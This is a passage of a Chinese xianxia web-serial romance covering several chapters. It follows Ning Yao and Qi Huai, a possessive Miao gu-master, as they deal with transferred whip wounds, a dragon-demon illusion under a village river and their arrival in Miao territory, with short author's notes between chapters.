夜烁卿神色稍缓,眼底关切未减:“我刚完成委托回山,就听说你送走了傀儡。”他顿了顿,语气低了几分,“多方打听才知你在此受罚,这可是整整十鞭。” 他看了一眼她背后的血迹,皮开肉绽,定是难受。 他伸手稳稳托住宁瑶的胳膊,为她借力,“究竟所犯何错?莫非是那傀儡惹出什么祸事,竟要你代为受罚?” 宁瑶掩去眼底复杂神色,轻轻挣了挣:“师兄不必扶我,我自己能走。” “不是什么大事,不过我是一时疏忽闯了祸,怪不得一个‘傀儡’。” 宁瑶借力站直身子,心下暗忖:得尽快穿过天道宗地界,去寻找祁淮。 可夜烁卿牢牢扶着她的胳膊,不由分说地将尚且晕乎乎的她带回了小院。 见宁瑶面色仍有些苍白,夜烁卿按着她坐下,肃着张脸不见半分笑意。 “师兄,我真没事。”宁瑶活动了下肩膀,语气轻松,“这鞭子雷声大雨点小,就一点酥麻感,连疼都不算。” 她话倒不是假,夜烁卿看她却是这般逞强,取出上好的祛疤膏与止血药:“别嘴硬,那可是十鞭,姑娘家留下疤痕总归不好。” “知道啦。”宁瑶唇角上扬,收下药瓶,轻轻推他,“药我收下了,师兄先出去吧,我自己来上药就好。” “真自己来?”夜烁卿被她推着胳膊往外走,一边走,一边垂眸看向身侧的少女焦急的脸庞。 “是。” 待房门合上,宁瑶凝神感知着颈后,那灼热感已消失了。 宁瑶快步走到铜镜前,解开衣带,衣衫滑落,她扭头看向镜中,原本该有道伤口的后背此刻光洁如玉,不过一盏茶的功夫,连半点鞭痕都寻不见。 她指尖轻轻抚过背后肌肤,触手温润平滑,哪像受过伤的样子。 这不对劲。 很不对劲。 宁瑶仔细整理好衣裙,确认看不出异样后,这才推门而出。 夜烁卿候在院中,桃花眼下意识微弯,“师妹现在感觉如何?” “好多了。”宁瑶佯装轻咳,演技自然得连自己都要信了,夜烁卿眼中果然并无怀疑之色。 “那就好,来的匆忙,未来得及恭喜师妹结成金丹。”他递来一柄匕首,鞘上镶嵌的灵石流转着光华。 “这匕首赠予师妹,据说能轻易破开金钟罩般的护身法衣。” “多谢师兄。”宁瑶扬起惯常的明朗笑容,双手接过。 夜烁卿极轻颔首,目光在她脸上掠过,见她气色尚可,执着玉笛在指间转了转,状似无意道:“平日你和傀儡几乎形影不离的,这下能习惯?” “不是还有尤川照顾,少个‘傀儡’也没什么。”宁瑶随口胡诌,“我让他下山顺便办点事了。” “当真这么放心?”夜烁卿瞧着宁瑶,唇角扬起意味深长的弧。 “当然啦,我的‘傀儡’机灵着了。”宁瑶轻快地点头,装作浑不在意的模样。 夜烁卿略带沉吟片刻,见她确实对傀儡的去向不甚关心,抿了抿唇:“既然如此,有件事倒该告诉你了,师妹可得做个心理准备。” 他嗓音顿了顿,“我回宗途中,在云城外十里处瞧见你那戴面具的傀儡被几名修士围攻。正要出手,忽有一股极强的灵气爆发。待风沙散尽,原地可只剩残肢断臂了。” “后来我遇上外门的怀师兄,他说你那傀儡侥幸逃脱,不然我都不知该如何向你交代。” 夜烁卿放慢语气瞧着她,“怀师兄本要随我寻你,因有急事,又先行离开了。” 他说完,细细打量宁瑶怔愣的神情,“师妹可有在听?” 她心里咯噔一下,压抑不住声音:“师兄,我听清楚了。” 恍惚间,宁瑶早已听不清夜烁卿后面的话语,只捕捉到“祁淮”二字在耳边反复回响。 下意识抚向后颈,那里还残留着一丝微妙的联系。 “夜师兄可看真切了?当真是我的傀儡?” “自然,衣着、面具,无一不是师妹的手笔。” 宁瑶深吸一口气,勉强扯出个笑:“知道了。” 夜烁卿又说起沿途见闻,宁瑶已半个字都听不进去了。只要情缠蛊还在,祁淮定然无恙。 只是夜烁卿的话,太让她在意了。 宁瑶深吸一口气,随便找了个身子不适的借口将夜烁卿支走,收拾好随身物品,便匆匆溜下了宗门。 她一路不停,趁着夜色,终于赶到云城十里外的一片荒地。此处显然被人清理过,空气中仍残留着灵力碰撞后的痕迹。 宁瑶心口一紧,愈发担忧祁淮的安危。毫不犹豫地引动颈后的情缠蛊,这是第一次尝试着催动。 她压下全身酥酥麻麻的异样感,细细感知着微弱却熟悉的联系。和海底地牢一般,看来彼时情缠蛊就种下了。 循着感应,宁瑶快步入了云城,在一家客栈驻足,和掌柜打个招呼,在一即将入厢房的时刻,瞧见一位挺拔孤寂的背影,与祁淮极为相似。 “祁淮!”宁瑶伸手拉住那人的衣袖。 一股浓重的血腥气扑面而来,其间还缠绕着一股危险又蛊惑的气息。 然而当那人转过身,映入眼帘的并非记忆中那副精致的银蓝色面具,而是一张她许久未见,却此刻绝不该出现在此地的人。 “岐师兄?” 黑衣少年静静立着,脸上覆着一张毫无纹路的面具。 宁瑶忽然意识到,自己从前竟从未留意过,目光不自觉地撞进一双幽深得令人心悸的眼眸。 那眼神她太过熟悉,呼吸都为之一滞。 宁瑶轻轻吐出一口气,一点点地揭下了那张面具,轻声唤道:“祁淮。” 那双幽深的眸子直直锁住她,眸底阴郁散去,唇角禁不住上扬:“你找到我了。” 四目相对,她被他看得心头安定又急促一跳。 宁瑶一时静默看着他,半晌才轻“嗯”了一声。想起夜烁卿絮絮叨叨时提到的怀无岐,她不禁懊恼。这么明显的事,自己竟到现在才想明白。 浓重的血腥味扑面而来,宁瑶蹙眉牵起他的手往室内走,“你解释一下……” 可话到嘴边又转了个弯,“算了,先脱了上衣让我看看。” 见他懒洋洋地坐在桌前,单手撑着下巴,故作无辜地眨着眼问:“为何?” “这还用说?”宁瑶又不是头回脱他衣裳,凑近时顺手按住他的肩膀,“你别动。” 指尖刚触到腰封,就被祁淮一把牵住手腕。 他呼吸放缓,眼底暗流涌动,“确定要看?” “当然。”宁瑶抽出手腕,仔细解开层层衣衫。 当十道狰狞的鞭痕暴露在空气中时,她屏住了呼吸。 尽管早有猜测,亲眼见到他白皙背脊上交错的血痕,心口仍像被狠狠揪紧了一下。 “疼吗?”她蘸了乳白药膏,指尖轻轻抚过伤口边缘。 指尖触到肌肤的瞬间,触之生温。 祁淮满足地眯起眼,感受着她指尖游走,撩起的细密战栗。 “不疼。”他唇角勾起漫不经心的弧度,垂眸掩住眼底渴意。 宁瑶指尖不经意加重力道,听他倒抽了一口冷气,忍不住又急又关切地轻瞪他一眼:“这还叫不疼吗?让我自己受着十鞭就是了。” “不行。”祁淮声音骤沉。 “有何不可?”宁瑶倔强地迎上他深邃的眼眸。 祁淮倾身靠近,抬手点在她眉心:“谁让某人先擅作主张?我不过有样学样。那不如先解释,为何要让我下山了?” 宁瑶心虚地眨眨眼,指尖更放缓了涂抹药膏的速度,瞧着背后伤疤上禁不住眼酸了一下。 “师尊已知你身份暴露,我能想到最好的法子自然是我领罚,你下山。这十鞭本就是我该受的,你不必……” 祁淮指尖轻轻划过她手腕内侧而后圈在掌心,“可我记得你怕疼,既如此,那么疼痛就让我承受吧。” 见他低低一笑,宁瑶心跳失控了。 她慌忙垂头掩饰,“所以,这伤痕转移是你的手笔,你猜到什么了?” 祁淮摇了摇头,故作一本正经模样:“没猜到。只不过对你,我总要多费些心思。” 他尾音微挑,“防患于未然。” 他绝不允许,这只小猫在他看不见的地方,弄得满身是伤。 宁瑶心里五味杂陈,忍不住追问道:“若是这次不止十鞭?若我伤得更重,危及性命呢?” 祁淮眸光一暗,指尖轻轻抚上她的脸颊,揉开紧蹙的眉,声音低哑,“这还用问吗?自然是庆幸。” 光是听她这般假设,心口就泛起细密的疼。这迟钝的小猫,竟还敢拿这种事打比方。 “那我倒该庆幸自己没受重伤了。”宁瑶赌气似的轻哼,心里却酸涩着。 若是祁淮因她丧命,她不敢想下去。没有蛊虫感应,他或许就悄无声息地消失在某个角落… … 祁淮微歪头,银铃轻响。凑近了些,目光细细描摹她脸上每一丝神情。 宁瑶被他看得不自在,更加压不住来势汹汹的情绪,竟任由情绪泛滥起来,取了丹药塞进他唇间:“吞下去,把这东西解了。” 见她眼圈慢慢泛了红,祁淮霎时面色不显地慌了神:“不行。” “解开。”宁瑶抬起眸,“我不要看你一次次替我受伤。” 他该如何解释这是心甘情愿? 可见她眼尾泛红,拉着她的手腕带入怀中。 “我乐意的。” 宁瑶把脸埋进他衣襟轻轻蹭了蹭,眼眶的热意在这微凉却过于温柔亲密的怀抱中,无声落下,洇湿他胸前的肌肤。 她自以为不着痕迹地抹去,声音闷闷的:“心甘情愿也不行。你若不解,我就……” 她抬起眸打量着,指尖揪紧他微敞的衣襟,贝齿极轻地咬在他肩头。 “咬我?”祁淮一笑,这咬的力度和轻挠了一下没两样。 “是啊,罚你。”宁瑶抬起清亮的眸子,轻轻就要退开这个怀抱,他张开手挽留地按着她的腰身,继续抱着。 宁瑶没太在意了。 她恢复往日的神采,故作娇纵地眨了眨眼,理直气壮道,“解吧,现在就要。” 祁淮轻笑假装解开了替身巫术,“解开了,满意吧。” 作者有话说:欢迎大家多留评留浇灌[亲亲]接档预收文可看看呀 第62章 宁瑶疑惑地抬眸,眼睫轻颤:“解了?你拿什么证明?” 祁淮微歪着头,指尖无意识地摩挲着肩头那个淡粉色的咬痕,心底涌起一阵病态的欢愉。 他忽地低笑,嗓音里带着蛊惑:“若是骗你,你再咬我一口。” 她故意板起脸,“好,不过可不能糊弄我。” 小猫确实不好糊弄。 他含笑垂下凝着阴郁的眸子,故作无辜地眨了眨眼,声音放轻:“瑶瑶,信我。” 宁瑶对上他认真的目光,终是松了口:“好。” 她轻轻推了推他的肩膀,“祁淮,小心碰到你的伤口,现在还疼吗?” “疼。”祁淮立刻蹙眉,果然见她着急地要来扒他衣裳。感受着她指尖的温度,他低缓的心跳越发急促,几乎要跃出胸腔似的。 宁瑶仔细检查他背后,发现那药膏疗效极好,伤口早已结痂。 她一抬头正对上祁淮含笑眸子,那笑意里挟着一丝恶劣的玩味。 “行了,”她嗔怪地瞅他,“放手了。” 祁淮手臂紧了紧,直到见她困倦地眨了眨眼,才不情愿地松了力道。 他眸光仔细落在她神情,携着一丝不易觉察地委屈,再次确认道:“不会再赶我走了,真的……愿意去苗疆?” “自然是真的。”宁瑶答的信誓旦旦,“等你伤好些,我们就动身回苗疆解蛊。” 听到“回苗疆”三个字,祁淮眼底的阴郁一扫而空,又听见“解蛊”瞬间抿了抿上扬的唇角。 他恋恋不舍地松开手:“好。” 连夜奔来,宁瑶早就困极了。 她强撑着研究着去山海渊苗疆之地的地图,“祁淮,我们乘灵船去吧。” 这是去苗疆最快的方式,但也要十来天。 宁瑶边规划路线,边打瞌睡,趴在桌上昏昏欲睡。 莫名她没来由地安心,大概是祁淮就在身边,任由他抱起自己。刚一沾床榻,宁瑶就睡着了,往锦被里缩了缩。 祁淮掖好被角,坐在床沿,一眨不眨地凝视着她的睡颜,目光细细描摹她脸颊的轮廓,弯唇一笑。 小猫安然无恙地回到他身边了。 他半垂长睫掩去眼底翻涌的欲念,最终只在宁瑶唇上落下极轻的一吻。 “这般毫无防备的模样,”他低声呢喃,“只能让我看见。” 他眸色不禁暗了暗,心底似有一簇跳动的火焰。掌心的情缠蛊在隐约的发热,一同灼烧在克制上。 不够,想要更多。 只要一遇到小猫,理智就如白纸一张,遇火烧得殆尽。 祁淮又弯腰凑近,厮磨轻啄一下。唇瓣贪恋蹭了蹭她的脸颊,落下不至于让她苏醒的力道。 他想要的只在更多…… 宁瑶睡得昏沉,只觉得身上越来越重,像是被什么山精鬼怪压了床。 她迷糊地掀开眼皮,却发现自己正被人牢牢圈在怀里。祁淮的腿横压在她小腿上,沉得让她动弹不得。 “祁……”她仰起脸,刚要出声,就见他侧身睡得很沉,嘴唇翕动着把剩下半个音节咽了回去。 不能动。 她悄悄调整了下姿势,寻了个不至于压到他伤口的角落。 换做从前,她哪敢想象有人能这样闯进她的床榻,还一寸寸挤进她生活的缝隙里,被一个人侵占入生活的每一个角落。 想到这里,她轻轻叹了口气,重新阖上眼,任由睡意袭来。 接下来几日,灵船行至半途,还未出羽安国地界。 宁瑶早就吃腻了储物空间里的干粮,决定找个村庄稍作休整。 招待他们的是位热心肠的大娘,独自居住,见到生人格外热情。 大娘见他们衣着不凡,话也多了起来:“你们来得正巧,今晚村里要祭祀河神”“河神?”宁瑶好奇。 “村外那条河邪门得很,每年都要淹死几个娃娃呦,一落水就没了踪影。” 大娘边说边端上自家种的瓜果和清炒小菜,香气扑鼻。 宁瑶谨慎地闻了闻,确认后才尝了一口,“好吃。” “小丫头喜欢多吃点。”大娘喜笑颜开。 祁淮微歪头,飞速地夹菜给宁瑶,压下声音好不无辜,“我做的不好吃吗?” 宁瑶点点头,刚要开口,屋外响起唢呐声打断了声音。 两人循声望去,只见一队穿着大红袍子,头插各色鸟羽毛的壮汉,正抬着祭品往河边去。 宁瑶好奇地拉了拉祁淮的衣袖,二人放了碗筷,跟了出去。 只见抬着的猪头肉祭品后,还跟着几只活猴。 这祭祀的河边寻常至极,风平浪静,可当他们将猪头抛入河中时,水面瞬间泛起了血色。 宁瑶正在疑惑,领头的老者突然面露惊恐,将其他的祭品赶紧招呼人扔进河里。 原本平静的河面无风起浪,血色翻涌化作漩涡。 事出反常必有妖。 宁瑶心生警惕,“这河水不对劲,你们站得太近了。” “小丫头懂什么。”老者嘴上强硬,脚步却诚实地带着村民后退,一阵惊呼和唏嘘声中,宁瑶瞧着漩涡,总感到河底有什么东西,在不停的召唤她。 那种吸引力让她莫名迫切。 “祁淮我们下水看看。” 祁淮护在她身侧,见她一反常态、雀雀欲试的模样,瞧着河边扬起意味深长的笑,压下声音问:“确定想下水看看?” “嗯,”宁瑶颔首点头,“我想去。” 他并未出声阻拦,只静静地跟上她。 两人掩藏在人群后,化作流光悄然入水。 两人眼目清晰,有了避水珠的功效如鱼得水。宁瑶虽恐水,幸好有祁淮揽着她的腰肢。 游向河底一瞧,竟有一层浅金色的透明结界。穿过结界刹那,宁瑶眸光所及之处,不免被眼前场景惊得呼吸一滞。 眼前赫然立着一株盛放的玉兰树,花瓣似凝滞在半空,四周寂静得只余二人交错的呼吸声脚步声。 这处结界竟将时光定格在了这株玉兰树,花开最美的一瞬间。 她目光快速扫过庭院布局,瞳孔一缩,道:“这里是羽安国皇城的宁府,我和公主娘亲住的玉兰苑。” 瞧着宁瑶面色欣喜,祁淮不动声色地看过四周。 宁瑶指尖轻抚过熟悉的石桌,侧眸对祁淮扬唇笑了笑,“这里,我春来赏花最是绝佳。” 他顺着她目光看去,发间银饰轻响,清泠铃音在静谧中荡开,“此地应是依你记忆所化。” “嗯,一模一样。” “我明白了,”她望着与记忆中分毫不差的一草一木,“那些落水的孩子,定是在此蛊惑中见到了思念之景,被此处困至死的。” 边说着,她带着祁淮走走停停。 “瑶瑶。”熟悉呼唤让宁瑶浑身一僵,蓦地回首看去。 玉兰树下不知何时立着个妙龄女子,一身雪白华服,眉眼娇艳动人,却比她记忆中那张倦容明媚许多。 见宁瑶回头,幻影竟笑着穿过她的身体,俯身抱起个扎着两个小发髻,哭的鼻头发红的小女娃。 小女娃鼓着腮帮,气鼓鼓的样子揪着娘亲的衣袖,被“羽青月”抱在怀里低声哄着,给塞了块糖,就惹得她破涕为笑。 祁淮望着那个奶乎乎的小身影,眸光落在她笑靥上,低笑道,“原来你小时候……” “不许说出来。”宁瑶轻咳一声,耳根发烫,匆匆看向别去。 话音刚一落,祁淮突然将她往怀里一带,清冽草木清香的气息笼罩下来,眸色不经意打量着院子:“当心,有妖气在。” 两个幻影在结界边缘化作流光消散,露出掩在水草下的龙骸。肉已让河鱼吃没了,只剩下骨头架子,龙角在昏暗中隐隐约约闪过微光。 这骸骨蜷成团,周身环绕的结界已出现数条裂痕。 “妖气的源头在此。”祁淮道。 宁瑶刚要开口,祁淮身影已在她身旁模糊,“祁淮!” 一眨眼的功夫,人就在晃动的光影中消失。 四周只剩下她一人,宁瑶保持冷静深吸一口气。 陡然结界深处,忽现公主娘亲的身影,正张开双臂,立于玉兰树下,柔声低唤:“瑶瑶,到娘亲这儿来。” 宁瑶眼前掠过微亮的光,控制不了身体,几乎是本能地、不由自主地向前迈步。 “娘亲……” 她嘴角漾起一抹甜美的笑,却见一道寒光刺来。利剑没入心口的刹那,宁瑶疼得眼前忽明忽暗。 这痛感真实得过分,她甚至能听见血肉被撕裂的细微声响。 她下意识地攥紧剑刃,温热的血顺着指缝滴落在地,晕开一小片梅花。 她抬头看向那个持剑的人,那张属于羽青月的脸上,此刻却覆着一层陌生的寒霜。 “娘亲……”宁瑶委屈看着她,声音发颤,心口那处伤突然更痛了。 而宁瑶陷入幻觉,神识之外,祁淮的眸子阴郁地蹙起。 他看见宁瑶突然蜷缩起身子,贝齿死死咬住下唇,殷红的血丝从唇角溢出。 少年掌心的情缠蛊突然不安地躁动起来。 “该死。”他低声咒骂,眼底是近乎疯狂的暗色。 替身巫术能转移宁瑶身体上的伤害,却护不住神识沉沦在幻境所受的伤。 祁淮强行闯入宁瑶识海的刹那,正撞见那幻影慢条斯理地从她心口抽出剑锋。 血珠顺着寒刃滴落,对方竟还意犹未尽地抬手,欲再补一剑。 竟敢化作她心心念念放在心尖上的人,还在幻境中将她伤至如此。 祁淮眼底戾气骤涌,灵力狠厉地袭向“羽青月”的虚影。 只听一声脆响,那“羽青月”的幻象应声破碎。 他立即退出神识,伸手扶住宁瑶下滑的身子。 少女脸色苍白如纸,绵软地倒进他怀中。祁淮扣住她单薄的肩膀,声音却放得轻缓:“醒醒,瑶瑶……” 宁瑶回神来,空洞眸色的一寸寸逐渐亮起。 她清亮的眸子眨了眨,这龙妖竟把她神识都攻击了一疼,钻心挠肝似的。 可这疼,哪里比得上心里那股说不清道不明的委屈。 她索性一头扎进祁淮微凉的怀抱里,双手紧紧环住他劲瘦的腰身,把发烫的脸颊埋在他衣襟前,声音闷闷的:“我看见娘亲了……她才不会伤害我呢。” “嗯,刚才都是幻象。”祁淮的手抚上她的后颈,有一下没一下地揉着。 她难得的主动投怀送抱,本该让他心生欢愉,可低头瞧见她抿得发白的唇瓣,心口像是被什么揪紧了,泛起细密的涩意。 宁瑶缓过劲儿来,攥紧拳头,闷哼一声:“它居然拿娘亲的事耍我。” “这龙妖生气将散。”祁淮眯起狭长的眼,尾指轻轻勾动缠绕在腕间的黑铃。 唇角扬起若有若无的弧度,袖中窜出一道黑影,通体乌黑的小蛇如离弦之箭,直扑龙妖尸骸,瞬间就把它骨头架子绞的粉碎。 伴随着骨骸坍塌的脆响,原本若隐若现的妖气骤然溃散。 碎骨竟化作流光,涌向已经濒临破碎的结界壁障。 整个结界内剧烈震颤起来,地面裂开。 “小心了。”祁淮伸手扶住踉跄的宁瑶,将她带出河水。 宁瑶揉着越发昏沉的脑袋:“那龙妖,当真死了?” “魂魄俱灭。”祁淮目光扫过她攥得发白的指节,将什么冰凉物事塞进她掌心。 原是一块糖。 祁淮微歪头:“糖。” 他不懂所谓血脉亲情为何能让人如此神伤,却见不得宁瑶蹙眉。 两人跃出河面时,那位蹲守在岸边老者,颤巍巍凑近:“仙、仙人,河底究竟……” 祁淮漫不经心甩着袖口水珠,眸子里还漾着未散尽的戾气:“日后不必再祭祀了。” 望着村民欢呼雀跃的背影,宁瑶眼前发黑,身形一软倒在他怀里。 作者有话说:统一感谢大家的营养液投喂,来者不拒~[亲亲][亲亲] 第63章 宁瑶只觉得意识陷入一片混沌之中,身子轻飘飘的。 她仿佛挣脱了某种束缚,能以旁观者的视角,看着身体周围的一切。 她飘在一旁看见祁淮一把将她抱起,亲眼目睹自己安静地躺在祁淮怀中,面色苍白如纸。 祁淮步履如飞地冲向灵船,他居然连能用灵力都忘了,将她平放在榻上才猛然想起这回事,飞速用灵力探查她身体状态。 灵船在祁淮的驱使下破云穿雾,直向苗疆而去。 祁淮仍是紧锁眉头,眼底是从未见过的慌乱。竟像个丢了魂的人似的,在甲板上来回踱步。 宁瑶目光跟随他的一举一动,原来这个总是游走在危险边缘的少年,也会露出这般慌张神情。 她好奇伸手想碰碰祁淮,指尖却穿透了他的身影。 就在这时,祁淮突然停下脚步,深邃的目光牢牢锁住她的方向,正当她以为祁淮看得见她时,祁淮却走到床榻,抬手解开了床边的纱幔。 “祁淮,你解我衣带做什么?” 宁瑶看得脸颊发烫,凑近拔高声音问道。 可惜他听不见她的声音。 宁瑶正想再看个究竟,一阵针扎似的剧痛袭上,眼前一黑,她彻底失去了意识。 祁淮解开她的衣带,将人轻轻揽入怀中。照着书中所载,他小心翼翼地环抱住只着小衣的少女,然后低头覆上了她的唇。 他模仿着书中的描述,可当真正触碰到那片柔软时,已本能地想要更多。 指尖不经意间抚过匀称的腰肢,不见一丝赘肉,细腻白皙,他指尖流连,有些爱不释手。 虽不解书中描述的深意,他已微歪头凑近,一一照做。 熟悉地撬开她的唇齿,将灵气缓缓渡入。后由两股灵气在经络中交融流转,他又将额头贴上她的额角。 眉间微光闪烁,彼此灵力在互换中交融。 以他神识互补她的神识,这是祁淮在古籍中找到最快的方法。 宁瑶只觉得浑身暖融融的,经脉早已熟悉祁淮的灵气渡入,此刻交汇得格外融洽。 当他俯身将她整个搂进怀里时,宁瑶便安静地依偎着他。 好安静了。 安静到他的世界里只剩下她的呼吸,她的心跳,其他一切声音都消失了。 祁淮呼吸一滞。 他心底涌起一股迫切的渴望,只想看着她睁开那双清亮妍丽的眼睛。 小猫再看向自己,哪怕是瞪他一眼。 * 不知过去多久,宁瑶悠悠转醒,还觉得神思恍惚。 眼帘轻颤,映入眸中的是熟悉的浅黄色床幔。 身侧空无一人,余温都未曾留下。 她低头一看,赶紧一瞧,衣衫整齐,并无异样。 掀开床幔的刹那,宁瑶怔住。 这哪里还是灵船内室,眼前是一座清雅的竹屋。陈设简朴得近乎寡淡,除了她最爱的浅黄床幔,再无半点鲜亮的颜色。 宁瑶惊讶地赤足踏下,微凉的竹板触感让她清醒几分。 推开门,庭院一花一木,一览无余。 环顾四周,院中栽种的花草与她天道宗居所的一般无二,只是在此被侍弄得更加井井有条,郁郁葱葱。 宁瑶迈过门槛,天光乍泄,阳光落在周身,她知晓已是冬至时节,可苗疆仍带着暖意。 她伸长懒腰,惬意地眯了眯眼,走到院中央懒洋洋地晒着太阳,蔚蓝天幕下,一树金桂开得正盛。 那桂树仿佛挣脱了时序束缚,繁花累累,风一吹,桂花便簌簌落下,仿佛一场永不停歇的“桂雨”。 宁瑶看得正出神,忽地铃音清越。 叮铃,叮铃。 循声望去,宁瑶呼吸微滞。 来人身着深蓝苗疆服饰,银线绣出诡谲图腾,腰链随着步伐轻响,勾勒出劲瘦有力的腰线,编入细辫坠着的银铃在光影间闪烁。 漂亮到雌雄莫辨的少年郎嘴角噙笑,两颗小痣平添诱惑,妖冶的面容看向她时,带着毫不掩饰的危险气息。 宁瑶后颈的情缠蛊在发热,清晰地听到心脏在加速跳动。 祁淮赤足踏来,足踝系着的红绳缀了两枚小铃,每一声脆响都叩在心尖,像是牵动着宁瑶的心神。 这装扮,宁瑶恍然。 那时她在棺材初遇祁淮时,他是符合苗疆人物的扮相,那时她还当是傀儡师的癖好特殊。 细腰有力的少年,漂亮精致,这才是祁淮原本的模样。 以前她当祁淮是傀儡,自然装扮是按着自己喜欢的风格来。 可褪去这一层伪装,危险又神秘的苗疆少年,此刻真切立在眼前。 宁瑶视线流转祁淮的眉眼,最终定格在眼尾的两颗小痣上,像是羽毛在心尖轻轻挠了一下。 祁淮放下药篮,幽深眸光将一时怔愣的人儿从头到脚看了一下,确认她无虞后,快步走近,倾身靠近。 他微凉指尖抚上脸颊捏了一下,含笑的嗓音低沉惑人:“好看吗?” 见宁瑶眼睛都看得一眨不眨,嘴角扬起得逞的笑,他特意装扮一番果然没错。 “好看啊。”宁瑶脱口而出,仰面视线迎上秾丽容颜,后知后觉地烧红了耳根,轻咳一声,“好看,可总会看腻……” “嗯?腻?”祁淮微挑了眉,有些不信。 宁瑶看他长睫半垂看向自己,不禁地憋起笑,“不过,你除外。” 祁淮浑身血液都在躁动。 小猫到底知不知道,她随口一句,自己所有的克制都形同虚设。 祁淮听罢眼底满是笑意,狡黠如只狐狸,幽深的眸子紧紧盯着她,满意地端详她的笑颜:“身子骨还难受吗?” “不难受了。”宁瑶老实摇头,却见他唇角微抿,竟露出几分失望,“你怎么这副表情?” 她眨着眼笑了,“我好了,你不高兴?” “高兴。”祁淮指尖无意识摩挲腰间四角铃铛,语气略带遗憾,“只是再不能抱你入睡,以灵气相缠,神识互补了。” 宁瑶脸颊热意来势汹汹,可越听越不对劲:“祁淮,这些你从哪儿学的?” 少年歪头轻笑,发间银铃叮咚作响。指尖摩挲着腰间的四角铃铛,理直气壮道:“书上。” 宁瑶正觉奇怪,这方法怎么像…… 她刚要开口追问,院外却传来三声不紧不慢的敲门声打断了。 这竹楼外的庭院,是用细竹篱笆围成的。祁淮特意将篱笆修得极高,布下结界,外面的人根本窥不见里头的动静。 听见这敲门声,祁淮嘴角笑意瞬间敛去。 打扰他和小猫相处时光,按照话本所说刚刚气氛本该正好。 他仍牵着宁瑶的手腕不放,脚步一转,似是突然想起什么,飞速将她往屋内带,要她坐在木椅上。 “你坐这儿。” 宁瑶刚应声,祁淮便露出个浅笑,转身往院中走去。 一出屋门,他脸上的神情彻底冷了下来。 “圣子你回来啦!”少年清亮的嗓音隔着篱笆传来,透着几分雀跃。 宁瑶顿生好奇,还未见过其他的苗疆人。她竖起耳朵听着外面的动静,起身悄然在门口往外看去。 余凌见祁淮堵在门口,也不急着进去,就站在门外滔滔不绝地汇报起苗疆近日的大小事务。 祁淮显然不爱听这些,但碍于长老交代,只得耐着性子。 余凌见他神色愈发僵硬,正打算识趣告退,却忽地从他身侧的缝隙里,瞥见一抹亮眼至极的鹅黄色身影。 那人正探着头往外瞧。 余凌一瞬间瞪大眼,好奇地踮起脚,“圣子你从外面带什么回来了?我瞧着,怎么像是个娇滴滴的小姑娘?” 他全然没注意到祁淮瞬间阴沉的脸色,阴郁得几乎快要拧出水来了。 祁淮眸色一暗,往他看向的视线走了半步,一一遮掩。 想到他的小猫会被旁人看了去,祁淮语气顿时染上一丝寒意,低语道:“别乱看。” 余凌后知后觉地察觉到祁淮周身散发的危险气息,那双总是半垂着阴郁的眸子,此刻泛着冰霜。 这般明显的不耐与警告,还未见过祁淮对谁上过心思。 余凌咽了咽口水,讪讪一笑,“我这就走,这就走。”说完识相地开溜了。 祁淮转身回屋,正好撞见某个来不及缩回去的小脑袋。 宁瑶干笑两声,立刻装作若无其事地回屋,故作镇定地回到桌前坐下。 见祁淮走进来,她眉眼一弯,不待祁淮开口先问,她先扬出个明媚的笑,“所以,这苗疆之地,你是圣子?”没想到祁淮还有这隐藏身份。 “虚名罢了,不过是比谁炼蛊更厉害些。”祁淮漫不经心拨弄她的小辫,“无趣得很。” 宁瑶指尖轻点自己,眼尾弯起:“照这么说,我若炼蛊厉害,也能当圣子?” 祁淮坏心眼地歪头,眼底漾着促狭的光,故意凑近,在她耳畔压低语气:“想知道上任圣子结局吗?” 见祁淮神神秘秘的,嘴角噙着玩味的笑,宁瑶好奇眨眨眼,偏头凑得更近,“快说呀。” 微凉指尖轻扣住她后颈,在宁瑶怔忡的刹那,弯腰后鼻尖几乎蹭上她的鼻尖,呼吸交缠,一字一句:“用蛊杀了他的蛊,再、杀、了、他。” 看见某人陡然睁大妍丽的亮眸,喉结不自觉地滚动。 像两颗泛着微光的宝珠,好想捧在手心,舌尖略带渴意。 “啊?” 她呆呆咽了下口水,指尖下意识攥上他的腰链,“苗疆都这般凶残?” “骗你的……”祁淮突然笑开,一挑眉便像只憋坏的狐狸。 宁瑶恍然她被祁淮给耍了,咬牙轻拍他上肩头。 趁着她松了口气,祁淮突然闷哼一声,故作示弱地瞧着她,语气好不无辜:“瑶瑶这掌好重啊。” 说完他顺势将人捞进怀里抱紧,鼻息喷洒在她后颈,得逞地加重了力道,不许她挣脱。 祁淮动作之快,惊得宁瑶几乎忘了挣扎,更完全施展不开动作。 他笑得胸腔震动,似传递到她胸口。 祁淮低低一笑,微凉的呼吸拂过她耳畔:“怎么这么呆?嗯?” 他最后说尾音上扬,宁瑶觉得耳根痒痒的,揉了揉耳垂。 她分明是憋着笑,却故作板着脸:“我才不呆,撒手。” 祁淮手臂收得更紧,将人牢牢圈在怀里,不肯撒手。 按照书上所说,灵力在经脉间流转交融后,祁淮欢愉地意识到,以前单纯地抱着她,他便好欢喜。 闻到她身上淡淡的馨香,哪怕是什么都不做,他便好欢喜。 可现在他想要更多的欢喜。 从前定觉得这般行径想法实在蠢得可以,可遇到宁瑶后只觉得,若能常做这样的蠢事倒也不错。 怀里这小猫能一直。 不,是永远呆在他的怀里就好了… … 这个念头窜起的瞬间,比掌心情缠蛊发烫更快的是他的动作。 作者有话说:预收《诱骗黑莲花苗疆少年后》是接档文呀[摸头][让我康康],收藏涨涨涨激励本篇完结后,下一本ps:小宝们,31号不更。可11月没有31号,12月1号我们再见~[亲亲] 第64章 祁淮倏地垂首,薄唇贴在她白皙的颈侧,不轻不重地吻咬了一下。 “我的。”祁淮嗓音低哑,带着一种别样的渴意。 “祁淮!”宁瑶被那湿痒的触感,激得一缩脖子,宁瑶耳根一红,却没能挣脱出祁淮的怀抱。 听到她提高的声音,祁淮得逞地弯起眼睛,又凑过去在那泛红的肌肤上留下一个更深的印记。 “我的。”祁淮理直气壮地又一次重申,压低语气时的危险。 宁瑶有一种被猛兽叼住后脖颈,抱到阴暗处无情“舔毛”的错觉宁瑶后颈情缠蛊发热,被他触碰的地方似电流窜过她的全身,酥酥麻麻的感觉比以往更甚。 她怔愣地眨了眨眼,脸颊发烫,下意识地就想挣开咬回去,可抬眼对上祁淮噙笑的视线,蓦地竟只是磨了磨牙。 “再咬,我可真要……” 祁淮的手臂仍环着她,纹丝未动,反倒将鼻尖更深地埋进她颈窝。 少年身姿如竹,此刻却为她弯折。祁淮病态般贪恋这个姿势,啄了下她的唇,声音故意闷在她肩头:“别推开我。” 那语气压得低,好似透出几分委屈感。 